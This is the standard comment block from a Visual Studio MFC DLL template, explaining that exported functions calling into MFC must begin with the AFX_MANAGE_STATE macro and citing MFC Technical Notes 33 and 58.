- // Note!
- //
- // If this DLL is dynamically linked against the MFC
- // DLLs, any functions exported from this DLL which
- // call into MFC must have the AFX_MANAGE_STATE macro
- // added at the very beginning of the function.
- //
- // For example:
- //
- // extern "C" BOOL PASCAL EXPORT ExportedFunction()
- // {
- // AFX_MANAGE_STATE(AfxGetStaticModuleState());
- // // normal function body here
- // }
- //
- // It is very important that this macro appear in each
- // function, prior to any calls into MFC. This means that
- // it must appear as the first statement within the
- // function, even before any object variable declarations
- // as their constructors may generate calls into the MFC
- // DLL.
- //
- // Please see MFC Technical Notes 33 and 58 for additional
- // details.
